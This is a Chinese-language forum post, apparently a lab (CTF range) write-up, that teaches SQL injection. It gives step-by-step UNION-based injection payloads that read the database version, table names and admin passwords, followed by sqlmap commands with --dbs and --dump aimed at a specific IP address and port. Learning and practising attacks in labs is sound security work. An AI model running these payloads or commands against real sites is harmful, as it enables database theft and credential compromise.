靶场1wp:了解sql注入原理

你看不见我啊   ·   发表于 2018-08-09 10:21:47   ·   CTF&WP专版

了解sql注入原理,通过地址栏填写sql代码提交,在数据库进行执行,sql注入是一种漏洞种类,不是攻击方式。

应用:随便点开一个超链接

1.先在带id变量的地址栏中测试有无sql注入漏洞

2.加and 1=1 和and 1=2进行测试 

3.发现 and 1=1时 网页正常显示 而and 1=2 条件为假时 页面出错

4.

5.此时可以判断此网站存在sql注入漏

6.猜注入点,也就是判断有多少个字段,使用二分法,回显正常说明ok

7.

8.

9?id=1 and 1=1 order by x 从10猜起

2.发现都无法正常显示,直到

3.?id=1 and 1=1 order by 2 发现回显正常,1也正常,但3不正常

4.判断注入点为2

5.?id=1 and 1=2 union select 1,2 发现回显2

6.

7.此时我们可以发扬赌徒精神,对方这么傻,竟然有sql注入漏洞,肯定是个小白,数据库肯定什么都没改

8.?id=1 and 1=2 union select 1,password from admin 查出密码

9.

10.如果稳着来,先收集信息

11.?id=1 and 1=2 union select 1,version() 回显出数据库版本

12.

13.?id=1 and 1=2 union select 1,database() 回显出库名

14.

15.然后我们利用此数据库漏洞,一定存在的information_chema 表 来进行操作(此表储存你在数据库的操作,创建的表啊什么的,具体听课)

16.?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() 回显出表名

17.

18.?id=1 and 1=2 union select 1,password from admin 回显出密码 (此刻password仍为猜出来的,建立在对方是小白的基础上,请勿掉以轻心)

19.

20.以上为sql手工注入原理,以下为sqlmap使用方法

21.用py2.7环境打开sqlmap

22.Shift+鼠标右键 此处打开命令行 或者powershell(新版cmd,俗称命令行) 如果想替换为老版cmd 请百度

23.Python sqlmap -u http://120.203.13.75:6815/?id=1

24.

25.检测发现能,一路回车 执行操作

26.

27.我们发现了很多信息

28.Python sqlmap -u http://120.203.13.75:6815/?id=1 --dbs 爆出所有库(一个字母- 多个字母--)

29.

30.Python sqlmap -u http://120.203.13.75:6815/?id=1 --table 爆出表单

31.

32.Python sqlmap -u http://120.203.13.75:6815/?id=1 --columns -T tablename(以获取表单名字) 爆出表单数据

33.

34.Python sqlmap -u http://120.203.13.75:6815/?id=1 --dump -T tablename -C “username,password”(此为表单字段 ,隔开) 爆出你想要的东西

35.

36.tips:注意所有内容都用1个空格隔开以示区分 

37.能手注尽量不用工具 

有问题或建议请留言

 


打赏我,让我更有动力~

0 条回复   |  直到 2018-8-9 | 1502 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.